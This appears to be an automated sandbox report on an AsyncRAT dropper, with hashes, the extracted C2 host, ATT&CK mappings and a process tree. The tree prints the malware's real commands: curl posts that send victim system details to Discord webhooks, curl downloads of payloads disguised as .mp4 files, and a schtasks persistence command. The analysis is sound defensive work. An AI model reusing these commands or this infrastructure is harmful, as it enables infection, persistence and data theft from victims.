asyncrat | 5ab63870b80c8c0b2fb482f1c9581682740feac9ae7a5c0d8fd9b31997865330

Analysis

max time kernel
148s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
14-07-2024 23:02

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General

Target

Dropper.exe
Size

12KB
MD5

3c7266e1f13c9dd74dba9b7546601d01
SHA1

71434fc2a94fd910820f6b8d7d9440a5c45b7ae0
SHA256

5ab63870b80c8c0b2fb482f1c9581682740feac9ae7a5c0d8fd9b31997865330
SHA512

3b71e65c0d815b6444c6f908af0015491147438977bcb795b318a07b3b78e1c4491cf21265b90c742fb5615a900256bb2e03cf2074993cec07f46dcd6ae111b2
SSDEEP

384:t/kXUT2i7q9bJnz6PbQ4+FBCf3tmfhhD84VCsk:n2n9bJMbIytkhhDJwsk

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

environmental-blank.gl.at.ply.gg:25944

Attributes

delay
1
install
true
install_file
$77-aachost.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral3/files/0x000100000002ab69-6.dat	family_asyncrat

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
4900	$77-adchost.exe
3052	$77-aachost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
2	discord.com
3	discord.com
11	discord.com
14	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5076	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe
4900	$77-adchost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4900	$77-adchost.exe
Token: SeDebugPrivilege	3052	$77-aachost.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 4984	2664	Dropper.exe	79
PID 2664 wrote to memory of 4984	2664	Dropper.exe	79
PID 2664 wrote to memory of 4984	2664	Dropper.exe	79
PID 4984 wrote to memory of 1532	4984	Dropper.exe	81
PID 4984 wrote to memory of 1532	4984	Dropper.exe	81
PID 4984 wrote to memory of 1532	4984	Dropper.exe	81
PID 1532 wrote to memory of 1540	1532	cmd.exe	83
PID 1532 wrote to memory of 1540	1532	cmd.exe	83
PID 1532 wrote to memory of 1540	1532	cmd.exe	83
PID 4984 wrote to memory of 2820	4984	Dropper.exe	84
PID 4984 wrote to memory of 2820	4984	Dropper.exe	84
PID 4984 wrote to memory of 2820	4984	Dropper.exe	84
PID 2820 wrote to memory of 2472	2820	cmd.exe	86
PID 2820 wrote to memory of 2472	2820	cmd.exe	86
PID 2820 wrote to memory of 2472	2820	cmd.exe	86
PID 4984 wrote to memory of 4900	4984	Dropper.exe	87
PID 4984 wrote to memory of 4900	4984	Dropper.exe	87
PID 4984 wrote to memory of 2232	4984	Dropper.exe	88
PID 4984 wrote to memory of 2232	4984	Dropper.exe	88
PID 4984 wrote to memory of 2232	4984	Dropper.exe	88
PID 2232 wrote to memory of 1508	2232	cmd.exe	90
PID 2232 wrote to memory of 1508	2232	cmd.exe	90
PID 2232 wrote to memory of 1508	2232	cmd.exe	90
PID 4984 wrote to memory of 3792	4984	Dropper.exe	91
PID 4984 wrote to memory of 3792	4984	Dropper.exe	91
PID 4984 wrote to memory of 3792	4984	Dropper.exe	91
PID 3792 wrote to memory of 4064	3792	cmd.exe	93
PID 3792 wrote to memory of 4064	3792	cmd.exe	93
PID 3792 wrote to memory of 4064	3792	cmd.exe	93
PID 4900 wrote to memory of 1984	4900	$77-adchost.exe	94
PID 4900 wrote to memory of 1984	4900	$77-adchost.exe	94
PID 4900 wrote to memory of 1396	4900	$77-adchost.exe	96
PID 4900 wrote to memory of 1396	4900	$77-adchost.exe	96
PID 1396 wrote to memory of 5076	1396	cmd.exe	98
PID 1396 wrote to memory of 5076	1396	cmd.exe	98
PID 1984 wrote to memory of 5036	1984	cmd.exe	99
PID 1984 wrote to memory of 5036	1984	cmd.exe	99
PID 1396 wrote to memory of 3052	1396	cmd.exe	100
PID 1396 wrote to memory of 3052	1396	cmd.exe	100
PID 3052 wrote to memory of 4468	3052	$77-aachost.exe	101
PID 3052 wrote to memory of 4468	3052	$77-aachost.exe	101
PID 4468 wrote to memory of 3904	4468	cmd.exe	103
PID 4468 wrote to memory of 3904	4468	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Dropper.exe
"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Users\Admin\AppData\Local\Temp\Dropper.exe
  "C:\Users\Admin\AppData\Local\Temp\Dropper.exe" --restarted
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1261985127463125036/0iay0p3hFSXAadjgHnjbgjsn-a1bO9XGOroK_VVitQVAclbl9F_ccLU33Bv4dWccp52Z" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\SysWOW64\curl.exe
      curl "https://discord.com/api/webhooks/1261985127463125036/0iay0p3hFSXAadjgHnjbgjsn-a1bO9XGOroK_VVitQVAclbl9F_ccLU33Bv4dWccp52Z" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
      4⤵
      PID:1540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-adchost.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Windows\SysWOW64\curl.exe
      curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-adchost.exe
      4⤵
      PID:2472
- - C:\Users\Admin\AppData\Local\Temp\$77-adchost.exe
    "C:\Users\Admin\AppData\Local\Temp\$77-adchost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1984
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDBAA.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:5076
    - - C:\Users\Admin\AppData\Roaming\$77-aachost.exe
        
        "C:\Users\Admin\AppData\Roaming\$77-aachost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3052
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c curl -X POST -H "Content-Type: application/json" -d "{\"content\": \"@everyone \nWe Got Em! \n```Username: Admin\nOS: Microsoft Windows NT 6.2.9200.0\nProcessors: 8\nMachine Name: ELEOLWUJ\nSystem Architecture: 64-bit\nHWID: A553C6FD93E508E2911B\nUser HWID: S-1-5-21-3766757357-1293853516-507035944-1000\nAnti-Virus: N/A\n```\"}" https://discord.com/api/webhooks/1253983339946311721/Y5y9rYlqtNDdH2oVgyGSNyOVmkPeDk-85oMk9zE0WBv2eMdGhcm9-I4QvfO9tSEJMrHl
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4468
        
        C:\Windows\system32\curl.exe
        
        curl -X POST -H "Content-Type: application/json" -d "{\"content\": \"@everyone \nWe Got Em! \n```Username: Admin\nOS: Microsoft Windows NT 6.2.9200.0\nProcessors: 8\nMachine Name: ELEOLWUJ\nSystem Architecture: 64-bit\nHWID: A553C6FD93E508E2911B\nUser HWID: S-1-5-21-3766757357-1293853516-507035944-1000\nAnti-Virus: N/A\n```\"}" https://discord.com/api/webhooks/1253983339946311721/Y5y9rYlqtNDdH2oVgyGSNyOVmkPeDk-85oMk9zE0WBv2eMdGhcm9-I4QvfO9tSEJMrHl
        7⤵
        
        PID:3904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-slchost.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2232
  - - C:\Windows\SysWOW64\curl.exe
      curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-slchost.exe
      4⤵
      PID:1508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1261985127463125036/0iay0p3hFSXAadjgHnjbgjsn-a1bO9XGOroK_VVitQVAclbl9F_ccLU33Bv4dWccp52Z" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""System.ComponentModel.Win32Exception (0x80004005): The file or directory is corrupted and unreadable at System.Diagnostics.Process.StartWithShellExecuteEx(ProcessStartInfo startInfo) at System.Diagnostics.Process.Start() at System.Diagnostics.Process.Start(ProcessStartInfo startInfo) at Dropper.Dropping.Run(String path) at Dropper.Dropping.Main()"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Windows\SysWOW64\curl.exe
      curl "https://discord.com/api/webhooks/1261985127463125036/0iay0p3hFSXAadjgHnjbgjsn-a1bO9XGOroK_VVitQVAclbl9F_ccLU33Bv4dWccp52Z" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""System.ComponentModel.Win32Exception (0x80004005): The file or directory is corrupted and unreadable
      4⤵
      PID:4064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Dropper.exe.log

Filesize
425B

MD5
bb27934be8860266d478c13f2d65f45e

SHA1
a69a0e171864dcac9ade1b04fc0313e6b4024ccb

SHA256
85ad0d9909461517acf2e24ff116ca350e9b7000b4eefb23aa3647423c9745b4

SHA512
87dd77feac509a25b30c76c119752cc25020cca9c53276c2082aef2a8c75670ef67e1e70024a63d44ae442b64f4bc464aee6691e80c525376bb7421929cfa3bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\$77-adchost.exe

Filesize
66KB

MD5
514d0abd73e992c2a1622795b33f17f4

SHA1
96740e82d7a119d808000783507bd92690584fe6

SHA256
b333ecc39a213f6ce650dd4af50d2d201ee6f80dea63ec98132220670469bf53

SHA512
4600baecf44a9cbc7b33fd02d1807628597c6ecc87aeb12b653f6e3a46c951fe9cd789e100d96df8c57b5d0446397c8a639f0c7ee8ef9395c172598ce8185bc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\$77-slchost.exe

Filesize
263B

MD5
20756e83a8ee849b05cd19d36217ad05

SHA1
e16ce7723eac5364fb0ea17c5c452c696fa80273

SHA256
b77f66d1a820d491cb6b9088f5122d999877a15e3f39d6eacb8f16f421796d7d

SHA512
eb55ee4584ddb5daccef8ce6fb069b69a3ef84f744dbafec5804539ffe00fc43f9eea6bd0a17f72ad0fdd2c7d00e96d524f26468874e568e5d2855c5205f6e64

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDBAA.tmp.bat

Filesize
155B

MD5
bd5754bbe941c28d3a99b667a205993e

SHA1
e9e7a51bef8780151188988a317b3da1ab9c0db0

SHA256
89cdaab7a569cd15e85ecfb94b1ff6738651d165b0ecfb39d402f0b98929dada

SHA512
d2ec70d5b17a0d954f1bfc7df35f24a8b312c736bc3d91ab0bef6dbdef0708429c7da343bd67982d47483328055ea1c58e3439f8c9dedb2bdc3f6b4c3605e7fd

Download Submit
memory/2664-0-0x000000007518E000-0x000000007518F000-memory.dmp

Filesize
4KB

Download
memory/2664-1-0x0000000000CA0000-0x0000000000CAA000-memory.dmp

Filesize
40KB

Download
memory/4900-8-0x0000000000930000-0x0000000000946000-memory.dmp

Filesize
88KB

Download
memory/4984-4-0x0000000075150000-0x00000000751FB000-memory.dmp

Filesize
684KB

Download
memory/4984-11-0x0000000075150000-0x00000000751FB000-memory.dmp

Filesize
684KB

Download